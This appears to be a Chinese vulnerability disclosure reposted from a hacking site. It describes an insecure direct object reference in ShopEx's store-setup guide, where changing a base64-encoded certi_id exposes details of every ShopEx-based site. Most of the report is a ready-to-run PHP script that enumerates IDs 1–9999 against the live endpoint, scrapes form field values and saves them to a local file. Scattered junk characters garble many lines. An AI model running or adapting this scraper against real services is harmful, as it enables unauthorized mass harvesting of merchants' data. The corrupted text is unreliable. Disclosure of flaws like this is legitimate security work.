ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
1 `# f: t& a% m- TShopEx某接口缺陷,可遍历所有网站
详细说明：
# D  {0 v& @6 u% u问题出现在shopex 网店使用向导页面



# r, t/ B# t5 Jhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

. n  a& x9 M8 s9 c/ g' p. i
' F- t6 z# s! w  y
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
! k0 f2 D- X( c! k$ z
' Y. s- H, t$ h# {8 e& k7 b) G. f
2 P- z6 I6 v% P. W# Z8 m5 G4 F
& }% Z% q7 Z/ B0 i( {我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
2 z, O- w: n' U. }: i* W1 _
6 d* t. R6 ]7 D; L5 N
# y7 e2 s) g0 R' D
7 y( \8 A9 T% E; |; d: w<?php

0 K% h! C0 ]9 M" M# q0 q                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
: o( y% t& o- K8 L  ^" x9 M
                }
  V5 ^6 h% T0 o5 j- g# n3 e
! M0 ^* g) r; x) t7 W+ w! K                function ShowshopExD($cid) {
1 A  {: y4 x/ m/ ]7 L' F
                $url='http://guide.ecos.shopex.cn/step2.php';
0 f0 I+ K: I' @: b: X1 i: C" M
4 @7 o7 y& ]6 d                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
6 i8 _! H4 C  u) z6 V
- m) K  E% N. d        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
3 T2 [; S4 n/ \5 {7 U- S7 u
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
5 d  f) ?/ R4 e. I, W' Q+ D
. o) e( G6 N; q/ C* P  M; K" B        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
1 Q' ^7 V9 p4 q' n' J8 H
        $result = curl_exec($ch);

0 f3 O' K/ {2 t: n4 `        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
& `7 b( y, ?" l1 A
        if(strpos($result,$refer))

        {

: I* g. x/ t4 z& g- t                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
6 n/ L! q9 T+ b; o  H% J7 Y* i7 l
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

% Q3 r4 I; j& C) c) [                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
+ r8 K" `: t, t# X& I, T6 ^1 L" W
' R! f$ x, |7 _, G3 g                        $col =$res[1][0].':'.$res[3][0]."\r\n";

$ }7 z# Z0 P" G; j/ O6 B                        fwrite($fp, $col, strlen($col));

/ u2 S& }! P$ i2 y4 G                }
& ?" Q8 D: O$ q1 p# u
                echo '--------------------------------'."\r\n";

                fclose($fp);
3 f4 p4 p( D1 f% l
' P1 g% k& }+ f; X$ x, b% V        }

        flush();
# S5 ]0 F$ G; m0 \: ]2 `; f' m
        curl_close($ch);
+ I8 e* J7 o$ D4 E6 H
/ M& U% Y( C9 z1 K6 d0 @9 `                }

?>
漏洞证明：
- p- r- M1 t) Mhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
* h8 z5 x. y7 M9 Zrefer换成其他加密方式